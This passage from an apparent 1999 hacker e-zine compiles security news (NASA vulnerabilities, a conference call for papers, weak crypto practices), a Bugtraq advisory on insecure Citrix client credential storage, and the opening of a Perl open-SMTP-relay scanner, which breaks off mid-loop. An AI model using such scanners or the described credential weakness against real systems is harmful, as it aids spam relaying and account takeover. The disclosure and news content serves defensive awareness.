  7771.       "But, as the number of Internet transactions increases, there is an even
  7772.       greater demand for security to ensure confidentiality and prevent fraud.
  7773.       Biometric authentication systems like the LCI SMARTpen help create the
  7774.       secure environment necessary for the continued expansion of global
  7775.       e-commerce," he said. 
  7776.            
  7777.       According to the firm, the SMARTpen measures individual signature
  7778.       characteristics, encrypts the data and transmits it via radio frequency to
  7779.       a computer, where LCI software compares it to a template for verification
  7780.       - all in about three seconds. 
  7781.            
  7782.       The firm claims that the dynamics of signatures as measured by the
  7783.       SMARTpen are personal and not directly visible from the written image. 
  7784.            
  7785.       This, the firm says, makes it virtually impossible for forged signatures
  7786.       to get through the SMARTpen system. The system works with standard APIs
  7787.       (application programming interfaces) and the false rejection/false
  7788.       acceptance rate can be adjusted by system parameters, so adding
  7789.       flexibility. 
  7790.            
  7791.       Pricing on the SMARTpen is expected to range from $100 to $250, depending
  7792.       on the model and configuration of the product. 
  7793.            
  7794.       According to LCI, the price includes the pen and software components.  The
  7795.       SMARTpen also has integral sensors, a mouse, a digital signal processor,
  7796.       radio transmitter and receiver, and encryption system. 
  7797.            
  7798.       LCI's Web site is at http://www.smartpen.net . 
  7799.       
  7800.       
  7801.       -o-
  7802.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  7803.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  7804.       
  7805.       @HWA     
  7806.       
  7807.  38.0 [ISN] CFP: DISC 99 Computer Security 99 
  7808.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  7809.  
  7810.       Date: Thu, 27 May 1999 02:31:07 -0600 (MDT) 
  7811.       From: cult hero <jericho@dimensional.com> 
  7812.       To: InfoSec News <isn@repsec.com> 
  7813.       Subject: [ISN] CFP: DISC 99 Computer Security 99 
  7814.       
  7815.       
  7816.       
  7817.       Forwarded From: Juan Carlos Guel Lopez <cguel@martini.super.unam.mx>
  7818.       
  7819.       
  7820.       
  7821.       .---' .---' .---' .---' .---' .---' .---' .---' .---' .---' .---' .---' .---'
  7822.       
  7823.       
  7824.                           ____ ___ ____   ____    ___   ___  
  7825.                          |  _ \_ _/ ___| / ___|  / _ \ / _ \ 
  7826.                          | | | | |\___ \| |     | (_) | (_) |
  7827.                          | |_| | | ___) | |___   \__, |\__, |
  7828.                          |____/___|____/ \____|    /_/   /_/ 
  7829.       
  7830.       
  7831.       
  7832.                        C o m p u t e r    S e c u r i t y   9 9 
  7833.       
  7834.       
  7835.                                  "Working Together"
  7836.       
  7837.       
  7838.                         October  4-8, 1999                      
  7839.       
  7840.       
  7841.                        Palacio de Miner'ia, M'exico City, M'exico.
  7842.       
  7843.       
  7844.       .---' .---' .---' .---' .---' .---' .---' .---' .---' .---' .---' .---' .---'
  7845.       
  7846.       
  7847.                C A L L   F O R   P A R T I C I P A T I O N
  7848.       
  7849.       
  7850.       The goal of Computer Security 99 (DISC 99) is to create awareness in
  7851.       the computer user community about security strategies and mechanisms
  7852.       used to protect information.
  7853.       
  7854.       
  7855.       For the second consecutive year the DISC takes place alongside the
  7856.       most important computing event of Mexico, the computing general
  7857.       congress Computo.99@mx (http://www.computo99.unam.mx/), and invites
  7858.       specialists in computer security to participate.
  7859.       
  7860.       
  7861.       "Working Together" is the slogan for this year's event, suggesting
  7862.       that security in the organization can only exist and be increased with
  7863.       the work of all the people in the organization, including users,
  7864.       management and security personnel.
  7865.       
  7866.       
  7867.       The community is invited to participate in the DISC 99 event through
  7868.       the presentation of theoretical, technical, and applied works and
  7869.       those who presents practical experience in the following topics (but
  7870.       not limited to them):
  7871.       
  7872.       
  7873.         @ > Electronic commerce 
  7874.       
  7875.       
  7876.           - Certification
  7877.           - Digital cash
  7878.           - New protocols 
  7879.           - Secure transactions
  7880.       
  7881.       
  7882.         @ > New Firewall technologies  
  7883.         @ > World Wide Web security
  7884.       
  7885.       
  7886.           - Secure Sockets Layer (SSL)
  7887.         
  7888.         @ > Network security
  7889.         @ > Security for software developers   
  7890.         @ > Security in distributed systems and data bases
  7891.         @ > Security in agents and multi-platform languages
  7892.         @ > Incident response teams
  7893.         @ > Computer security incident handling, prevention and coordination
  7894.         @ > Administrative and legal issues in the incident handling
  7895.         @ > Software protection and intellectual property
  7896.         @ > New tools for incident handling
  7897.         @ > Attacks and intrusion detection
  7898.         @ > Computer attacks
  7899.         @ > Privacy and cryptography protocols
  7900.         @ > Security policies
  7901.       
  7902.       
  7903.       .......................
  7904.         Who should attend ? 
  7905.       .......................
  7906.       
  7907.       
  7908.               * System administrators who are interested in Computer
  7909.             Security.
  7910.       
  7911.       
  7912.               * People working in the field of Computer Security,
  7913.             and handling Computer Security incidents.
  7914.       
  7915.       
  7916.               * Anybody who is interested in Computer Security and wants to
  7917.             meet another interested people. This event will help him or
  7918.             her to improve security programs, security plans, and
  7919.             security tools by sharing and getting a wide experience and
  7920.             knowledge.
  7921.       
  7922.       
  7923.               * People who want to establish incident response teams.
  7924.       
  7925.       
  7926.               * Anybody who has a particular interest in network security,
  7927.             monitoring tools, intrusion detection and firewalls.
  7928.       
  7929.       
  7930.       
  7931.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  7932.                                   Important Dates
  7933.       
  7934.       
  7935.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  7936.       
  7937.       
  7938.       Paper submissions:       July   2 
  7939.       Acceptance notification: August 6 
  7940.       Final papers due:        August 20    
  7941.       Event Dates:             October 4-8
  7942.       
  7943.       
  7944.       
  7945.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  7946.                                   Workshop Format
  7947.       
  7948.       
  7949.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  7950.       
  7951.       
  7952.       
  7953.       There will be tutorial-style presentations during October 4 and 5.
  7954.       October 6, 7 and 8 will consist of conference papers and workshop-style 
  7955.       presentations, as well as business sessions.
  7956.       
  7957.       
  7958.       Two evenings are allocated for participants to hold events devoted to
  7959.       subjects of particular interest ("birds of a feather" sessions).
  7960.       
  7961.       
  7962.       Contributions should follow the following guidelines:
  7963.       
  7964.       
  7965.       1. Tutorials:      Half or full day tutorial proposals will be
  7966.                 considered.
  7967.       2. Papers:         Written papers may be as long as desired, but
  7968.                          presentations must be limited to 30 minutes.
  7969.       3. Workshops:      These informal sessions should either follow a more
  7970.                          "hands-on" approach or provide for a high degree of
  7971.                          audience participation. They should be tailored to
  7972.                          address specific issues and should be from 60 to 90
  7973.                 minutes in duration. Panel Sessions on a particular 
  7974.                 topic are also acceptable.
  7975.       
  7976.       
  7977.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  7978.                            Instruction for authors
  7979.       
  7980.       
  7981.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  7982.       We will receive proposals for presentations, workshops and tutorials
  7983.       that follow these guidelines:
  7984.                
  7985.               * The documents should be delivered by the indicated date.
  7986.       
  7987.       
  7988.               * The contents of the documents should be high-quality and
  7989.                 original. It should also include an abstract that describes
  7990.             the content and style of the presentation.
  7991.       
  7992.       
  7993.               * The papers will be evaluated using the proposal, which has
  7994.             to contain:
  7995.       
  7996.       
  7997.                       - title
  7998.                       - format (workshop, tutorials or conference)
  7999.                       - extended abstract (more than one but less than two pages)
  8000.                       - requirements for the presentation (computing
  8001.                equipment, data projector, slide projector, etc.)
  8002.                       - author information
  8003.                               - name
  8004.                               - address and affiliation
  8005.                               - brief resume
  8006.                               - fax and telephone number
  8007.                               - e-mail address
  8008.       
  8009.       
  8010.               * For tutorials, the following information should also be
  8011.             included:
  8012.       
  8013.       
  8014.                       - goal
  8015.                       - introduction and summary
  8016.                       - outline of the presentation
  8017.                       - duration (half or full day)
  8018.                       - presentation material (slides)
  8019.       
  8020.       
  8021.       ....................
  8022.         Accepted formats
  8023.       ....................
  8024.       
  8025.       
  8026.       Authors whose papers are accepted must submit the complete paper to be
  8027.       include into the C'omputo.99@mx proceedings.
  8028.       
  8029.       
  8030.       Submissions will be accepted in the following formats:
  8031.       
  8032.       
  8033.                       - TeX/LaTeX
  8034.                       - PostScript
  8035.                       - Word for Windows
  8036.                       - ASCII
  8037.                       - Please contact the committee (disc99@asc.unam.mx) if
  8038.                you need to use a different format.
  8039.       
  8040.       
  8041.       Note: The specifications of the papers such as margins, font size and
  8042.       line spacing will be specified in the DISC 99 WWW page at:
  8043.       
  8044.       
  8045.                   http://www.asc.unam.mx/disc99-i/convocatoria.html
  8046.       
  8047.       
  8048.       
  8049.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  8050.                                Program Committee
  8051.       
  8052.       
  8053.       ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
  8054.       
  8055.       
  8056.       
  8057.       President: 
  8058.         
  8059.       
  8060.       
  8061.               -> Dr. Enrique Daltabuit
  8062.                  Centro Tecnologico, ENEP-Aragon, UNAM
  8063.       
  8064.       
  8065.               -> M. en C. Diego Zamboni
  8066.                  CERIAS, Purdue University
  8067.       
  8068.       
  8069.           -> Nicholas P. Cardo
  8070.              Lawrence Berkeley National Laboratory
  8071.              Computational Systems Group
  8072.       
  8073.       
  8074.       
  8075.       ...............
  8076.         Submissions 
  8077.       ...............
  8078.       
  8079.       
  8080.       Presentations can be delivered using the following means:
  8081.       
  8082.       
  8083.               o E-mail (disc99@asc.unam.mx)
  8084.       
  8085.       
  8086.               o Post mail to the following address:
  8087.                       Area de Seguridad en C'omputo
  8088.                       Direcci'on General de C'omputo Acad'emico
  8089.                       Circuito Exterior, Ciudad Universitaria
  8090.                       04510 M'exico, D.F.
  8091.                       MEXICO
  8092.       
  8093.       
  8094.       
  8095.       <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<>
  8096.       
  8097.       
  8098.             Further Information
  8099.                -------------------
  8100.       
  8101.       
  8102.       E-mail :        disc99@asc.unam.mx
  8103.       
  8104.       
  8105.       WWW    :        http://www.asc.unam.mx/disc99-i/convocatoria.html
  8106.       
  8107.       
  8108.       Address :
  8109.                       'Area de Seguridad en C'omputo
  8110.                       Direcci'on General de C'omputo Acad'emico
  8111.                       Circuito Exterior, Ciudad Universitaria
  8112.                       04510 Mexico, D.F.
  8113.                       MEXICO
  8114.       
  8115.       
  8116.       Telephone Number : (52-5) 622 81 69 and  (52-5) 685 22 29
  8117.       Fax              : (52 5) 6 22 80 43
  8118.                          Subject: DISC 99 
  8119.       
  8120.       
  8121.       <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<> <>-<>
  8122.       
  8123.       
  8124.       
  8125.       
  8126.       
  8127.       -o-
  8128.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  8129.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  8130.       
  8131.       @HWA
  8132.  
  8133.  39.0 [ISN] GAO: NASA systems full of holes. 
  8134.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8135.       
  8136.       Date: Thu, 27 May 1999 02:56:28 -0600 (MDT) 
  8137.       From: cult hero <jericho@dimensional.com> 
  8138.       To: InfoSec News <isn@repsec.com> 
  8139.       Subject: [ISN] GAO: NASA systems full of holes. 
  8140.       
  8141.       
  8142.       From: anon
  8143.       
  8144.       
  8145.       http://www.fcw.com/pubs/fcw/1999/0524/fcw-newsnasa-5-24-99.html
  8146.       
  8147.       
  8148.       MAY 24, 1999 
  8149.       GAO: NASA systems full of holes 
  8150.       BY DIANE FRANK (diane_frank@fcw.com)
  8151.       
  8152.       
  8153.       Out-of-date information security policies have left significant
  8154.       vulnerabilities in NASA's mission-critical systems that could allow
  8155.       unauthorized users to steal, modify or delete important operational data,
  8156.       according to a General Accounting Office report released last week. 
  8157.       
  8158.       
  8159.       GAO, working over the past year with experts from the National Security
  8160.       Agency and using nothing more than public Internet access, was able to
  8161.       gain access to several unclassified mission-critical systems, including
  8162.       those supporting the command and control of spacecraft.
  8163.       
  8164.       
  8165.       According to GAO, NASA has not created enough awareness among its
  8166.       employees about common security mistakes and vulnerabilities, such as
  8167.       easily guessed passwords. NSA initially breached some systems using
  8168.       passwords such as "guest" for guest accounts and "adm" for system
  8169.       administrators, opening the door for broader access to agency systems.
  8170.       
  8171.       
  8172.       "The way we got in was through commonly known security faults," said John
  8173.       de Ferrari, assistant director of the Accounting and Information
  8174.       Management Division at GAO.
  8175.       
  8176.       
  8177.       GAO concluded that it was able to penetrate systems because NASA does not
  8178.       have a consistent information security management policy that the entire
  8179.       agency follows. "A lot of what needs to be done is awareness-related; you
  8180.       never seem to get enough awareness of computer security," de Ferrari said.
  8181.       
  8182.       
  8183.       GAO found that NASA did not have many policies regarding Internet and
  8184.       network security, and some policies the agency did have were out of date
  8185.       or were not followed. 
  8186.       
  8187.       
  8188.       "We Had Become Quite Lax"  "The fact of the matter is, we had become quite
  8189.       lax in the agency in terms of passwords," said Lee Holcomb, NASA's chief
  8190.       information officer. NASA now is scanning user passwords for ones that
  8191.       could be easily cracked and to check new passwords for vulnerabilities.
  8192.       
  8193.       
  8194.       "We take very seriously our responsibility for safeguarding our IT assets,
  8195.       and after Y2K, security is our No. 1 priority," Holcomb said. "They
  8196.       acknowledge that they did not succeed in penetrating several systems, but
  8197.       the fact that they did succeed is troubling to us. It is a wake-up call to
  8198.       the agency."
  8199.       
  8200.       
  8201.       This report is an important addition to the work already occurring
  8202.       throughout government to raise awareness of security needs, said Paul
  8203.       Rodgers, senior executive at the Critical Infrastructure Assurance Office,
  8204.       which is leading the national effort to protect critical systems. "The
  8205.       dangers are increasing, and we think the GAO report delivers an important
  8206.       message to NASA and other agencies," Rodgers said.
  8207.       
  8208.       
  8209.       The GAO/NSA team could not penetrate certain pockets of NASA's systems
  8210.       because network administrators either carefully controlled system access
  8211.       privileges or used patches for known operating system flaws. If expanded
  8212.       to the whole agency, such simple fixes could protect systems better
  8213.       because hackers usually will move on to systems with easily exploitable
  8214.       weaknesses, de Ferrari said. 
  8215.       
  8216.       
  8217.       
  8218.       -o-
  8219.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  8220.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  8221.       
  8222.       @HWA     
  8223.       
  8224.  39.1 [ISN] Nasa vulnerabilities potentially deadly
  8225.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8226.       
  8227.       Date: Fri, 28 May 1999 01:12:31 -0600 (MDT) 
  8228.       From: cult hero <jericho@dimensional.com> 
  8229.       To: InfoSec News <isn@repsec.com> 
  8230.       Subject: [ISN] NASA Vulnerabilities Are Potentially Deadly  
  8231.       
  8232.       
  8233.       http://www.aviary-mag.com/News/Leakage__Part_One/Leakage__Part_Two/leakage__part_two.html
  8234.       
  8235.       
  8236.       NASA Leakage -- Deadly Leakage
  8237.       By MIKE HUDACK
  8238.       
  8239.       
  8240.       135 out of 155 NASA computer systems were found vulnerable by NSA hackers,
  8241.       reported the General Accounting Office.  The GAO, however, didn┤t say what
  8242.       was contained on those systems -- they simply called them "mission
  8243.       critical."  The fact is, however, that there┤s a lot more to these
  8244.       systems than NASA missions. 
  8245.       
  8246.       
  8247.       "[Some NASA software has] the functionality of serving in the capacity of
  8248.       a munition's guidance system," said an anonymous source inside NASA.  The
  8249.       weight of such a statement is quite obvious.  "The software, however,
  8250.       would require a certain amount of modification and adaptation to
  8251.       accommodate the purpose [of nuclear weapons guidance]," the source
  8252.       continued. 
  8253.       
  8254.       
  8255.       The pattern is clear: earlier this year, the world learned of espionage at
  8256.       Department of Energy laboratories in which neutron bomb technology was
  8257.       stolen.  At this point, there is no evidence that guidance technology from
  8258.       NASA computers has been stolen.  The fact remains, however, that China has
  8259.       a dedicated force of computer hackers who do nothing but probe US
  8260.       Government computers.  Their missing NASA would be extraordinarily
  8261.       unlikely. 
  8262.       
  8263.       
  8264.       The most damning evidence, reported by two anonymous NASA employees,
  8265.       states that NASA has known about security holes in its Information
  8266.       Technology facilities for more than a year.  According to them, "Security
  8267.       has consistently been reduced to a reactive role in every part of the
  8268.       agency.  [IT] which has long been identified as vulnerable is not
  8269.       prohibited."  In fact, one went so far as to suggest that it would take a
  8270.       fundamental change of NASA leadership to create any true security at the
  8271.       Agency. 
  8272.       
  8273.       
  8274.       Continued at:
  8275.       http://www.aviary-mag.com/News/Leakage__Part_One/Leakage__Part_Two/leakage__part_two.html
  8276.       
  8277.       
  8278.       -o-
  8279.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  8280.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]           
  8281.       
  8282.       @HWA
  8283.       
  8284.       
  8285.  40.0 Citrux Winframe client for Linux vulnerability
  8286.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8287.       
  8288.       Date: Fri, 28 May 1999 12:26:59 -0700
  8289.       From: David Terrell <dbt@meat.net>
  8290.       To: BUGTRAQ@netspace.org
  8291.       Subject: Citrix Winframe client for Linux
  8292.       
  8293.       [ presumably this holds true for the other unix clients as well, but
  8294.         all I have is linux to test on ]
  8295.       
  8296.       The Citrix Winframe linux client (used for accessing Winframe and
  8297.       Windows NT Server Terminal Edition) has a simple configuration section.
  8298.       Perhaps too simple....  All configuration information is stored in a
  8299.       directory /usr/lib/ICAClient/config which is mode 777.  This in and
  8300.       of itself is bad news, since any user on the system can overwrite
  8301.       configuration data.
  8302.       
  8303.       The situation is actually much worse than that.
  8304.       
  8305.       When you start up the actual session manager (wfcmgr) you get a listbox
  8306.       of configured sessions.  The data for this listbox is stored in the mode
  8307.       777 file /usr/lib/ICAClient/config/appsrv.ini.  So  there's a single
  8308.       config file shared between all users.  A sample session profile follows:
  8309.       
  8310.       [WFClient]
  8311.       Version=1
  8312.       
  8313.       [ApplicationServers]
  8314.       broken=
  8315.       
  8316.       [broken]
  8317.       WinStationDriver=ICA 3.0
  8318.       TransportDriver=TCP/IP
  8319.       DesiredColor=2
  8320.       Password=0006f6c601930785
  8321.       Domain=NTDOM
  8322.       Username=user
  8323.       Address=hostname
  8324.       
  8325.       Yep.  Passwords are stored in some kind of hash.  What that hash is doesn't
  8326.       really matter since you can just bring up wfcmgr and log in as that user.
  8327.       
  8328.       Terrible.
  8329.       
  8330.       I tried mailing both support@citrix.com and security@citrix.com but
  8331.       neither of these addresses exist.
  8332.       
  8333.       
  8334.       Workaround?  wfcmgr supports the -icaroot parameter, but you basically
  8335.       need to copy all the files in for it to work.  So duplicate the tree in
  8336.       your home directory, fix permissions, and do wfcmgr -icaroot $HOME/.ica.
  8337.       
  8338.       Alternatively, don't use it.
  8339.       
  8340.       Distressing that the company that was "bringing multiuser concurrent logons
  8341.       to Windows NT" makes such a little effort at understanding multiuser
  8342.       security.... [further editorialization left to the reader]
  8343.       
  8344.       --
  8345.       David Terrell
  8346.       dbt@meat.net, dbt@nebcorp.com    I may or may not be speaking for Nebcorp,
  8347.       http://wwn.nebcorp.com/~dbt/         but Nebcorp has spoken for you.
  8348.       
  8349.       @HWA
  8350.       
  8351.  41.0 [ISN] Top 10 candidates for a "duh" list (general sec/crypto) 
  8352.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  8353.  
  8354.       Date: Fri, 28 May 1999 20:16:42 -0600 (MDT) 
  8355.       From: cult hero <jericho@dimensional.com> 
  8356.       To: InfoSec News <isn@repsec.com> 
  8357.       Subject: [ISN] Top 10 candidates for a "duh" list (general sec/crypto) 
  8358.       Message-ID: <Pine.SUN.3.96.990528201424.23867K-100000@flatland.dimensional.com> 
  8359.       
  8360.       
  8361.       
  8362.       [Very good run-down on what isn't acceptable crypto. - Jay]
  8363.       
  8364.       
  8365.       Forwarded From: "Jay D. Dyson" <jdyson@techreports.jpl.nasa.gov>
  8366.       Originally From: "Arnold G. Reinhold" <reinhold@world.std.com>
  8367.       Courtesy of Cryptography List.
  8368.       
  8369.       
  8370.       
  8371.       At 1:36 PM -0400 5/27/99, Kawika Daguio wrote:
  8372.       What I would like to know from you is whether you and others have been
  8373.       able to construct a "duh" list of typical, but unacceptable current
  8374.       practices that can easily be remediated.
  8375.       
  8376.       
  8377.       Here are my top 10 candidates for a "duh" list:
  8378.       
  8379.       
  8380.       1. Keys that are too short: Anything less than 80 bits for symmetric
  8381.       ciphers (128-bits prefered), or 1024 bits for integer-based public key
  8382.       systems. In particular this precludes use of 56-bit DES. (112-bit 3DES is
  8383.       fine.) 
  8384.       
  8385.       
  8386.       2. Poor quality random number generation. Random quantities are needed at
  8387.       many places in the operation of a modern cryptographic security system. If
  8388.       the source of randomness is weak, the entire system can be compromised. 
  8389.       
  8390.       
  8391.       3. Use of short passwords or weak passphrases to protect private keys or,
  8392.       worse, using them to generate symmetric keys. Bad passphrase advice
  8393.       abounds. For example, both Netscape and Microsoft advise using short
  8394.       passwords to protect private keys stored by their browsers. The simple fix
  8395.       is to use randomly generated passphrases of sufficient length. See
  8396.       http://www.hayom.com/diceware.html. 
  8397.       
  8398.       
  8399.       4. Re-use of the same key with a stream cipher. I have seen this done many
  8400.       times with RC4.  Even Microsoft appears to have gotten this wrong with
  8401.       their VPN (I do not know if it has been fixed). There are simple
  8402.       techniques to avoid this problem but they are often ignored.  See
  8403.       http://ciphersaber.gurus.com for one method. The potential for slipping up
  8404.       in stream cipher implimentation makes a strong case for using modern block
  8405.       ciphers wherever possible. 
  8406.       
  8407.       
  8408.       5. Using systems based on encryption techniques that have not been
  8409.       publically disclosed and reviewed. There are more than enough ciphers and
  8410.       public key systems out there that have undergone public scrutiny.  Many of
  8411.       the best are now in the public domain: 3DES, Blowfish, Skipjack, Arcfour,
  8412.       D-H, DSA. Others, e.g. RSA, IDEA can be licensed. 
  8413.       
  8414.       
  8415.       6. Ignoring physical security requirements for high value keys. In
  8416.       particular, no secret key is safe if it is used on a personal computer to
  8417.       which someone who is not trusted can gain physical access. 
  8418.       
  8419.       
  8420.       7. Lack of thorough configuration management for cryptographic software. 
  8421.       The best software in the world won't protect you if you cannot guarantee
  8422.       that the version you approved is the version being executed. 
  8423.       
  8424.       
  8425.       8. Poor human interface design. Cryptographic systems that are too hard to
  8426.       use will be ignored, sabotaged or bypassed.  Training helps, but cannot
  8427.       overcome a bad design. 
  8428.       
  8429.       
  8430.       9. Failure to motivate key employees. Action or inaction, deliberate of
  8431.       inadvertent, by trusted individuals can render any security system worse
  8432.       than worthless.  David Kahn once commented that no nation's communications
  8433.       are safe as long as their code clerks are at the bottom of the pay scale. 
  8434.       
  8435.       
  8436.       10. Listening to salesmen.  Any company that is selling cryptographic
  8437.       products has a good story for why the holes in their product really do not
  8438.       matter. Make sure the system you deploy is reviewed by independent
  8439.       experts. 
  8440.       
  8441.       
  8442.       
  8443.       Arnold Reinhold
  8444.       
  8445.       
  8446.       -o-
  8447.       Subscribe: mail majordomo@repsec.com with "subscribe isn".
  8448.       Today's ISN Sponsor: OSAll [www.aviary-mag.com]
  8449.       
  8450.       @HWA     
  8451.       
  8452.  42.0 Seeing invisible fields and avoiding them...
  8453.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8454.       
  8455.       Contributed by Twstdpair (Source: MSNBC)
  8456.       
  8457.       See invisible fields - and avoid them
  8458.       
  8459.       The Micro Alert Alarm for detecting
  8460.       radio/microwaves
  8461.       
  8462.       May 28 - Earlier this week, a news story I read troubled me greatly. It told about a
  8463.       European study that linked  cellular phone use to an increased incidence of brain
  8464.       tumors. For me, and millions of other cell phone junkies, this is a very scary thought.
  8465.       If the study is true, I could stop using my phones to minimize risks, or find out just
  8466.       how much "pollution" my devices are creating. THAT'S WHERE THE PEOPLE from AlphaLab Inc.
  8467.       come in. Someone there read a column I did on a cell phone antenna add-on that claimed
  8468.       to take the signal and move it away from your head. AlphaLab's David told me the company
  8469.       made a tiny device that could detect what your phone was really doing. I jumped at
  8470.       the chance to play with one.
  8471.       
  8472.       The Micro Alert Alarm is just what it says it is. It's a matchbox-sized device(2.25 inches
  8473.       by 1.6 inches by 0.75inches) that will (and I quote) "find what's emitting radio or
  8474.       microwaves,whether in hidden locations or in plainsight." The alarm puts forth a loud
  8475.       (annoying) beep when radio waves stronger than the level you select are present. If you
  8476.       move closer to the source of the RF-emitting device, the beeps will ultimately become a
  8477.       solid tone (more annoying). As you move away from the source, the beeping will stop 
  8478.       altogether (thankfully). 
  8479.       
  8480.       The alarm runs on a tiny battery that lasts three years or so. At its highest
  8481.       sensitivity, it should detect a typical cellular phone tower a half-mile away. Or an 
  8482.       analog cellular phone 40 feet away. Or a digital phone at 20 feet. Or a microwave oven 
  8483.       that's in use 10 to 50 feet away. To send the Micro Alert Alarm into nearly constant fits,
  8484.       unscrew the back and open one side. The sensitivity goes off the chart. In that mode, you 
  8485.       can see if someone has bugged a room (anong other things). The price for this little
  8486.       marvel? $81.50, plus shipping and handling.
  8487.       
  8488.       Does it work? You bet. Actually, sometimes it works too well. The most important part of
  8489.       working this device is setting it to your location. It can be very sensitive. I really
  8490.       couldn't test it at MSNBC. Way too many TV monitors, computer monitors and all sorts of
  8491.       broadcasting stuff around. And I couldn't really test it at home in Lower Manhattan. An
  8492.       old friend, Joe Sand, while helping me install an antenna on my roof, told me I lived
  8493.       so close to the broadcast antennas on the World Trade Center, that if someone made 
  8494.       sunglasses that detected radio waves, it would look as if I lived inside a tornado. He 
  8495.       was right. The alarm was nearly impossible to adjust at the "normal" setting. And it 
  8496.       never stopped beeping when set on "high" sensitivity. I did have better luck out at the
  8497.       Eastern Long Island test center. There I was able to adjust everything to my liking. I 
  8498.       found that the Micro Alert Alarm didn't like microwave ovens or TV sets or computer
  8499.       monitors - all from a few feet away. Cellular phones (one-third-watt output) set off the
  8500.       beeping from about three to five feet away and my Blackberry beeper (2 watts of 
  8501.       transmitting power) did the same from about one to two feet away. Not what AlphaLab 
  8502.       claims, but who knows if I ever really maximized all the settings. Is it worth it? That 
  8503.       depends. If you're the paranoid type, buy one today. I couldn't reference just how
  8504.       scientifically accurate it is, but under favorable conditions it did detect
  8505.       those invisible radio waves that could be dangerous to our health. Might turn out to be a
  8506.       good gift for someone with a pacemaker. On the other hand, a Micro Alert Alarm is said to
  8507.       find surveillance "bugs," detect police radar, leaky microwave ovens, fluorescent 
  8508.       lighting, electric typewriters and copy machines! Finally, you can take AlphaLab's
  8509.       advice and switch on your Micro Alert Alarm and put it in your pocket when you go out.
  8510.       If someone switches on a cell phone and sets off your alarm, you can kindly ask them
  8511.       to move away and stop polluting your personal space. Cool!
  8512.       
  8513.       @HWA
  8514.      
  8515.      
  8516.  43.0 RelayCheck v1.0 scan for smtp servers that will relay mail.
  8517.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8518.       
  8519.       From PacketStorm Security http://www.genocide2600.com/~tattooman/new.shtml
  8520.       
  8521.       #!/usr/bin/perl
  8522.       ##############################################
  8523.       #                                            #
  8524.       # RelayCheck v1.0                            #
  8525.       # Written By: Epicurus (epicurus@wilter.com) #
  8526.       #                                            #
  8527.       # Purpose: To scan a list of SMTP servers to #
  8528.       # find servers that will relay e-mail. There #
  8529.       # are many reasons why one might need such a #
  8530.       # list of SMTP servers.                      #
  8531.       #                                            #
  8532.       # Usage:                                     #
  8533.       # Create a list of hosts which you want to   #
  8534.       # scan. One host per line. Then run this     #
  8535.       # script.                                    #
  8536.       #                                            #
  8537.       ##############################################
  8538.       use Socket;
  8539.       
  8540.       print "RelayCheck v1.0\n";
  8541.       print "Written By: Epicurus (epicurus\@wilter.com)\n\n";
  8542.       
  8543.       print "Host List: ";
  8544.       chomp($host_list=<STDIN>);
  8545.       
  8546.       print "HELO Domain: ";
  8547.       chomp($helo_domain=<STDIN>);
  8548.       
  8549.       print "Attempt From: ";
  8550.       chomp($from=<STDIN>);
  8551.       
  8552.       print "Attempt To: ";
  8553.       chomp($to=<STDIN>);
  8554.       
  8555.       print "Log Session?(y/n)";
  8556.       $yn=<STDIN>;
  8557.       
  8558.       if($yn =~ /y/i)
  8559.       { 
  8560.               $log = 1; 
  8561.               $logfile="relay.log";
  8562.       
  8563.               print "Log File [$logfile]: ";
  8564.               $file=<STDIN>;
  8565.               chop($file) if $file =~ /\n$/;
  8566.       
  8567.               if($file ne "") 
  8568.               {
  8569.                       $logfile=$file;
  8570.               }
  8571.               open(LOG,">>$logfile") || die("Unable to write to $logfile!");
  8572.               print LOG "RelayCheck Scan:\n\n";
  8573.       }
  8574.       
  8575.       ##############################################
  8576.       
  8577.       $helo_string = "HELO $helo_domain\r\n";
  8578.       $mail_from = "MAIL FROM: <$from>\r\n";
  8579.       $rcpt_to = "RCPT TO: <$to>\r\n";
  8580.       $port = 25;
  8581.       
  8582.       $found=0;
  8583.       $i=0;
  8584.       open(HOSTS,"$host_list") || die $!;
  8585.       while(<HOSTS>)
  8586.       {
  8587.               chop($_) if $_ =~ /\n$/;
  8588.               $remote=$_;
  8589.               $print_remote = $remote;
